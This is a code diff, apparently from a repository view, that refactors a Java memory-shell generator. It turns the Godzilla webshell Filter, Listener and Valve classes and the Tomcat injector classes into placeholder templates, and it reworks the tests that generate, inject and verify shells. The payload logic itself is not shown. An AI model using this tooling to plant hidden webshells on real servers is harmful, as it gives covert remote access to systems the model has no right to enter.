public String pass;
|
public String pass = "{{pass}}";
|
||||||
public String md5;
|
public String md5 = "{{md5}}";
|
||||||
public String headerName;
|
public String headerName = "{{headerName}}";
|
||||||
public String headerValue;
|
public String headerValue = "{{headerValue}}";
|
||||||
|
|
||||||
public GodzillaFilter() {
|
public GodzillaFilter() {
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-5
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String md5;
|
public String key = "{{key}}";
|
||||||
public String pass;
|
public String pass = "{{pass}}";
|
||||||
public String key;
|
public String md5 = "{{md5}}";
|
||||||
public String headerName;
|
public String headerName = "{{headerName}}";
|
||||||
public String headerValue;
|
public String headerValue = "{{headerValue}}";
|
||||||
|
|
||||||
public GodzillaListener() {
|
public GodzillaListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-5
@@ -17,11 +17,11 @@ import java.io.IOException;
|
|||||||
public class GodzillaValve extends ClassLoader implements Valve {
|
public class GodzillaValve extends ClassLoader implements Valve {
|
||||||
protected Valve next;
|
protected Valve next;
|
||||||
protected boolean asyncSupported;
|
protected boolean asyncSupported;
|
||||||
public String key;
|
public String key = "{{key}}";
|
||||||
public String pass;
|
public String pass = "{{pass}}";
|
||||||
public String headerName;
|
public String md5 = "{{md5}}";
|
||||||
public String headerValue;
|
public String headerName = "{{headerName}}";
|
||||||
public String md5;
|
public String headerValue = "{{headerValue}}";
|
||||||
|
|
||||||
public GodzillaValve() {
|
public GodzillaValve() {
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-3
@@ -37,15 +37,15 @@ public class TomcatFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "/*";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "";
|
return "{{className}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getBase64String() {
|
public String getBase64String() {
|
||||||
return "";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
static byte[] decodeBase64(String base64Str) throws Exception {
|
static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
|||||||
+2
-2
@@ -22,11 +22,11 @@ import java.util.zip.GZIPInputStream;
|
|||||||
public class TomcatListenerInjector {
|
public class TomcatListenerInjector {
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "";
|
return "{{className}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getBase64String() {
|
public String getBase64String() {
|
||||||
return "";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
static {
|
static {
|
||||||
|
|||||||
+2
-8
@@ -22,20 +22,14 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class TomcatValveInjector {
|
public class TomcatValveInjector {
|
||||||
|
|
||||||
public String getUrlPattern() {
|
|
||||||
return "/*";
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "";
|
return "{{className}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getBase64String() {
|
public String getBase64String() {
|
||||||
return "";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
static {
|
static {
|
||||||
new TomcatValveInjector();
|
new TomcatValveInjector();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -17,6 +17,7 @@ public class ClassUtils {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
|
@SuppressWarnings("deprecation")
|
||||||
public static Object newInstance(byte[] bytes) {
|
public static Object newInstance(byte[] bytes) {
|
||||||
Class<?> clazz = defineClass(bytes);
|
Class<?> clazz = defineClass(bytes);
|
||||||
return clazz.newInstance();
|
return clazz.newInstance();
|
||||||
|
|||||||
@@ -0,0 +1,19 @@
|
|||||||
|
package com.reajason.javaweb.config;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/5
|
||||||
|
*/
|
||||||
|
class GodzillaShellConfigTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void test() {
|
||||||
|
GodzillaConfig shellConfig = GodzillaConfig.builder()
|
||||||
|
.pass("pass").build();
|
||||||
|
assertEquals("key", shellConfig.getKey());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,33 +0,0 @@
|
|||||||
package com.reajason.javaweb.memsell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
|
|
||||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener;
|
|
||||||
import com.reajason.javaweb.util.ClassUtils;
|
|
||||||
import org.apache.commons.io.IOUtils;
|
|
||||||
import org.junit.jupiter.api.Disabled;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.nio.file.Files;
|
|
||||||
import java.nio.file.Paths;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/11/23
|
|
||||||
*/
|
|
||||||
class GodzillaGeneratorTest {
|
|
||||||
String pass = "pass";
|
|
||||||
String key = "key";
|
|
||||||
String headerName = "User-Agent";
|
|
||||||
String headerValue = "test";
|
|
||||||
|
|
||||||
@Test
|
|
||||||
@Disabled("just for generate")
|
|
||||||
void testGenerate() throws IOException {
|
|
||||||
String className = "org.apache.utils.CommonFilter";
|
|
||||||
byte[] bytes = GodzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
|
|
||||||
IOUtils.write(bytes, Files.newOutputStream(Paths.get("CommonFilter.class")));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+29
-11
@@ -1,12 +1,17 @@
|
|||||||
package com.reajason.javaweb.memsell.tomcat.command;
|
package com.reajason.javaweb.memsell.tomcat.command;
|
||||||
|
|
||||||
import com.reajason.javaweb.config.Constants;
|
import com.reajason.javaweb.config.CommandConfig;
|
||||||
|
import com.reajason.javaweb.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memsell.CommandGenerator;
|
import com.reajason.javaweb.memsell.CommandGenerator;
|
||||||
import com.reajason.javaweb.util.ClassUtils;
|
import com.reajason.javaweb.util.ClassUtils;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -14,14 +19,27 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
|
|||||||
*/
|
*/
|
||||||
class CommandFilterTest {
|
class CommandFilterTest {
|
||||||
|
|
||||||
@Test
|
static Stream<Arguments> casesProvider() {
|
||||||
void testGenerate() {
|
return Stream.of(
|
||||||
String className = "org.command.CommandFilter";
|
arguments(CommandFilter.class, "org.apache.utils.CommandFilter"),
|
||||||
String paramName = "cmd";
|
arguments(CommandListener.class, "org.apache.utils.CommandListener"),
|
||||||
byte[] bytes = CommandGenerator.generate(CommandFilter.class, className, paramName, false, Constants.DEFAULT_VERSION);
|
arguments(CommandValve.class, "org.apache.utils.CommandValve")
|
||||||
|
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void generate(Class<?> clazz, String className) {
|
||||||
|
ShellConfig generateConfig = new ShellConfig();
|
||||||
|
CommandConfig shellConfig = CommandConfig.builder()
|
||||||
|
.clazz(clazz)
|
||||||
|
.className(className)
|
||||||
|
.paramName("cmd")
|
||||||
|
.build();
|
||||||
|
byte[] bytes = CommandGenerator.generate(generateConfig, shellConfig);
|
||||||
Object obj = ClassUtils.newInstance(bytes);
|
Object obj = ClassUtils.newInstance(bytes);
|
||||||
assertEquals(className, obj.getClass().getName());
|
assertEquals(shellConfig.getClassName(), obj.getClass().getName());
|
||||||
assertEquals(paramName, ClassUtils.getFieldValue(obj, "paramName"));
|
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
|
||||||
System.out.println(Base64.encodeBase64String(bytes));
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
-38
@@ -1,38 +0,0 @@
|
|||||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
|
||||||
import com.reajason.javaweb.util.ClassUtils;
|
|
||||||
import org.apache.commons.codec.binary.Base64;
|
|
||||||
import org.apache.commons.io.IOUtils;
|
|
||||||
import org.junit.jupiter.api.Disabled;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.nio.file.Files;
|
|
||||||
import java.nio.file.Paths;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/11/24
|
|
||||||
*/
|
|
||||||
class GodzillaFilterTest {
|
|
||||||
String pass = "pass";
|
|
||||||
String key = "key";
|
|
||||||
String headerName = "User-Agent";
|
|
||||||
String headerValue = "test";
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void generate() {
|
|
||||||
String className = "org.apache.utils.CommonFilter";
|
|
||||||
byte[] bytes = GodzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
|
|
||||||
Object obj = ClassUtils.newInstance(bytes);
|
|
||||||
assertEquals(className, obj.getClass().getName());
|
|
||||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
|
||||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
|
||||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
|
||||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
|
||||||
System.out.println(Base64.encodeBase64String(bytes));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-32
@@ -1,32 +0,0 @@
|
|||||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
|
||||||
import com.reajason.javaweb.util.ClassUtils;
|
|
||||||
import org.apache.commons.codec.binary.Base64;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/11/24
|
|
||||||
*/
|
|
||||||
class GodzillaListenerTest {
|
|
||||||
String pass = "pass";
|
|
||||||
String key = "key";
|
|
||||||
String headerName = "User-Agent";
|
|
||||||
String headerValue = "test";
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void generate() {
|
|
||||||
String className = "org.apache.utils.CommonListener";
|
|
||||||
byte[] bytes = GodzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue);
|
|
||||||
Object obj = ClassUtils.newInstance(bytes);
|
|
||||||
assertEquals(className, obj.getClass().getName());
|
|
||||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
|
||||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
|
||||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
|
||||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
|
||||||
System.out.println(Base64.encodeBase64String(bytes));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+53
@@ -0,0 +1,53 @@
|
|||||||
|
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.config.GodzillaConfig;
|
||||||
|
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||||
|
import com.reajason.javaweb.util.ClassUtils;
|
||||||
|
import com.reajason.javaweb.util.CommonUtil;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/24
|
||||||
|
*/
|
||||||
|
class GodzillaTest {
|
||||||
|
ShellConfig config = new ShellConfig();
|
||||||
|
|
||||||
|
GodzillaConfig.GodzillaConfigBuilder<?, ?> shellConfigBuilder = GodzillaConfig.builder()
|
||||||
|
.pass(CommonUtil.getRandomString(6))
|
||||||
|
.key(CommonUtil.getRandomString(6))
|
||||||
|
.headerName("User-Agent")
|
||||||
|
.headerValue(CommonUtil.getRandomString(5));
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
arguments(GodzillaFilter.class, "org.apache.utils.GodzillaFilter"),
|
||||||
|
arguments(GodzillaListener.class, "org.apache.utils.GodzillaListener"),
|
||||||
|
arguments(GodzillaValve.class, "org.apache.utils.GodzillaValve")
|
||||||
|
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void generate(Class<?> clazz, String className) {
|
||||||
|
GodzillaConfig shellConfig = shellConfigBuilder
|
||||||
|
.className(className)
|
||||||
|
.clazz(clazz)
|
||||||
|
.build();
|
||||||
|
byte[] bytes = GodzillaGenerator.generate(config, shellConfig);
|
||||||
|
Object obj = ClassUtils.newInstance(bytes);
|
||||||
|
assertEquals(shellConfig.getClassName(), obj.getClass().getName());
|
||||||
|
assertEquals(shellConfig.getPass(), ClassUtils.getFieldValue(obj, "pass"));
|
||||||
|
assertEquals(shellConfig.getHeaderName(), ClassUtils.getFieldValue(obj, "headerName"));
|
||||||
|
assertEquals(shellConfig.getHeaderValue(), ClassUtils.getFieldValue(obj, "headerValue"));
|
||||||
|
}
|
||||||
|
}
|
||||||
-49
@@ -1,49 +0,0 @@
|
|||||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.config.Constants;
|
|
||||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
|
||||||
import com.reajason.javaweb.util.ClassUtils;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import org.apache.commons.codec.binary.Base64;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/11/24
|
|
||||||
*/
|
|
||||||
class GodzillaValveTest {
|
|
||||||
String pass = "pass";
|
|
||||||
String key = "key";
|
|
||||||
String headerName = "User-Agent";
|
|
||||||
String headerValue = "test";
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void generate() {
|
|
||||||
String className = "org.apache.utils.CommonValve";
|
|
||||||
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue);
|
|
||||||
Object obj = ClassUtils.newInstance(bytes);
|
|
||||||
assertEquals(className, obj.getClass().getName());
|
|
||||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
|
||||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
|
||||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
|
||||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
|
||||||
System.out.println(Base64.encodeBase64String(bytes));
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
@SneakyThrows
|
|
||||||
void generateJakarta() {
|
|
||||||
String className = "org.apache.utils.CommonJakartaValve";
|
|
||||||
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Constants.DEFAULT_VERSION);
|
|
||||||
// Files.write(Paths.get(className + ".class"), bytes);
|
|
||||||
Object obj = ClassUtils.newInstance(bytes);
|
|
||||||
assertEquals(className, obj.getClass().getName());
|
|
||||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
|
||||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
|
||||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
|
||||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
|
||||||
System.out.println(Base64.encodeBase64String(bytes));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-59
File diff suppressed because one or more lines are too long
-47
File diff suppressed because one or more lines are too long
-33
File diff suppressed because one or more lines are too long
+2
-18
@@ -1,21 +1,12 @@
|
|||||||
package com.reajason.javaweb.integration;
|
package com.reajason.javaweb.integration;
|
||||||
|
|
||||||
import com.reajason.javaweb.GeneratorMain;
|
import com.reajason.javaweb.config.CommandConfig;
|
||||||
import com.reajason.javaweb.config.CommandShellConfig;
|
|
||||||
import com.reajason.javaweb.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.config.Server;
|
|
||||||
import com.reajason.javaweb.config.ShellTool;
|
|
||||||
import com.reajason.javaweb.memsell.packer.Packer;
|
|
||||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
|
||||||
import okhttp3.HttpUrl;
|
import okhttp3.HttpUrl;
|
||||||
import okhttp3.OkHttpClient;
|
import okhttp3.OkHttpClient;
|
||||||
import okhttp3.Request;
|
import okhttp3.Request;
|
||||||
import okhttp3.Response;
|
import okhttp3.Response;
|
||||||
import org.junit.jupiter.api.Disabled;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import java.util.Objects;
|
import java.util.Objects;
|
||||||
|
|
||||||
@@ -27,15 +18,8 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
|
|||||||
*/
|
*/
|
||||||
@Slf4j
|
@Slf4j
|
||||||
public class CommandShellTool {
|
public class CommandShellTool {
|
||||||
|
|
||||||
public static String generate(Server server, CommandShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) {
|
|
||||||
ShellTool shellTool = ShellTool.Command;
|
|
||||||
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
|
|
||||||
return new String(packer.getPacker().pack(generateResult));
|
|
||||||
}
|
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void testIsOk(String entrypoint, CommandShellConfig shellConfig) {
|
public static void testIsOk(String entrypoint, CommandConfig shellConfig) {
|
||||||
OkHttpClient okHttpClient = new OkHttpClient();
|
OkHttpClient okHttpClient = new OkHttpClient();
|
||||||
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
|
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
|
||||||
.newBuilder()
|
.newBuilder()
|
||||||
|
|||||||
+3
-23
@@ -1,12 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration;
|
package com.reajason.javaweb.integration;
|
||||||
|
|
||||||
import com.reajason.javaweb.GeneratorMain;
|
import com.reajason.javaweb.GeneratorMain;
|
||||||
import com.reajason.javaweb.config.GenerateResult;
|
import com.reajason.javaweb.config.*;
|
||||||
import com.reajason.javaweb.config.GodzillaShellConfig;
|
|
||||||
import com.reajason.javaweb.config.Server;
|
|
||||||
import com.reajason.javaweb.config.ShellTool;
|
|
||||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||||
import com.reajason.javaweb.memsell.packer.Packer;
|
import com.reajason.javaweb.memsell.packer.Packer;
|
||||||
|
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
|
||||||
@@ -18,25 +16,7 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
|
|||||||
*/
|
*/
|
||||||
public class GodzillaShellTool {
|
public class GodzillaShellTool {
|
||||||
|
|
||||||
public static String generate(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) {
|
public static void testIsOk(String entrypoint, GodzillaConfig shellConfig) {
|
||||||
ShellTool shellTool = ShellTool.Godzilla;
|
|
||||||
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
|
|
||||||
return new String(packer.getPacker().pack(generateResult));
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String generateJSP(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) {
|
|
||||||
ShellTool shellTool = ShellTool.Godzilla;
|
|
||||||
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
|
|
||||||
return new String(Packer.INSTANCE.JSP.getPacker().pack(generateResult));
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String generateJS(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) {
|
|
||||||
ShellTool shellTool = ShellTool.Godzilla;
|
|
||||||
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
|
|
||||||
return new String(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult));
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void testIsOk(String entrypoint, GodzillaShellConfig shellConfig) {
|
|
||||||
try (GodzillaManager godzillaManager = GodzillaManager.builder()
|
try (GodzillaManager godzillaManager = GodzillaManager.builder()
|
||||||
.entrypoint(entrypoint).pass(shellConfig.getPass())
|
.entrypoint(entrypoint).pass(shellConfig.getPass())
|
||||||
.key(shellConfig.getKey()).header(shellConfig.getHeaderName()
|
.key(shellConfig.getKey()).header(shellConfig.getHeaderName()
|
||||||
|
|||||||
+22
-13
@@ -1,12 +1,12 @@
|
|||||||
package com.reajason.javaweb.integration;
|
package com.reajason.javaweb.integration;
|
||||||
|
|
||||||
import com.reajason.javaweb.config.CommandShellConfig;
|
import com.reajason.javaweb.GeneratorMain;
|
||||||
import com.reajason.javaweb.config.GodzillaShellConfig;
|
import com.reajason.javaweb.config.*;
|
||||||
import com.reajason.javaweb.config.Server;
|
|
||||||
import com.reajason.javaweb.config.ShellTool;
|
|
||||||
import com.reajason.javaweb.memsell.packer.Packer;
|
import com.reajason.javaweb.memsell.packer.Packer;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/5
|
* @since 2024/12/5
|
||||||
@@ -14,28 +14,37 @@ import lombok.extern.slf4j.Slf4j;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
public class ShellAssertionTool {
|
public class ShellAssertionTool {
|
||||||
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
|
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
|
||||||
|
InjectorConfig injectorConfig = new InjectorConfig();
|
||||||
|
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(server)
|
||||||
|
.shellTool(shellTool)
|
||||||
|
.shellType(shellType)
|
||||||
|
.targetJdkVersion(targetJdkVersion)
|
||||||
|
.build();
|
||||||
|
|
||||||
String shellUrl;
|
String shellUrl;
|
||||||
switch (shellTool) {
|
switch (shellTool) {
|
||||||
case Godzilla:
|
case Godzilla:
|
||||||
String pass = "pass" + shellType;
|
String pass = "pass";
|
||||||
String key = "key" + shellType;
|
String key = "key";
|
||||||
String headerValue = "Godzilla" + shellType + packer.name();
|
String headerValue = "Godzilla" + shellType + packer.name();
|
||||||
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
.pass(pass).key(key)
|
.pass(pass).key(key)
|
||||||
.headerName("User-Agent").headerValue(headerValue)
|
.headerName("User-Agent").headerValue(headerValue)
|
||||||
.build();
|
.build();
|
||||||
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
|
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
|
||||||
String godzillaContent = GodzillaShellTool.generate(server, shellConfig, shellType, targetJdkVersion, packer);
|
String godzillaContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer)));
|
||||||
shellUrl = assertInjectIsOk(url, shellType, shellTool, godzillaContent, packer);
|
shellUrl = assertInjectIsOk(url, shellType, shellTool, godzillaContent, packer);
|
||||||
GodzillaShellTool.testIsOk(shellUrl, shellConfig);
|
GodzillaShellTool.testIsOk(shellUrl, godzillaConfig);
|
||||||
break;
|
break;
|
||||||
case Command:
|
case Command:
|
||||||
String paramName = "Command" + shellType + packer.name();
|
String paramName = "Command" + shellType + packer.name();
|
||||||
CommandShellConfig config = CommandShellConfig.builder().paramName(paramName).build();
|
CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build();
|
||||||
String commandContent = CommandShellTool.generate(server, config, shellType, targetJdkVersion, packer);
|
String commandContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer)));
|
||||||
log.info("generated {} command shell with paramName: {}", shellType, config.getParamName());
|
log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName());
|
||||||
shellUrl = assertInjectIsOk(url, shellType, shellTool, commandContent, packer);
|
shellUrl = assertInjectIsOk(url, shellType, shellTool, commandContent, packer);
|
||||||
CommandShellTool.testIsOk(shellUrl, config);
|
CommandShellTool.testIsOk(shellUrl, commandConfig);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user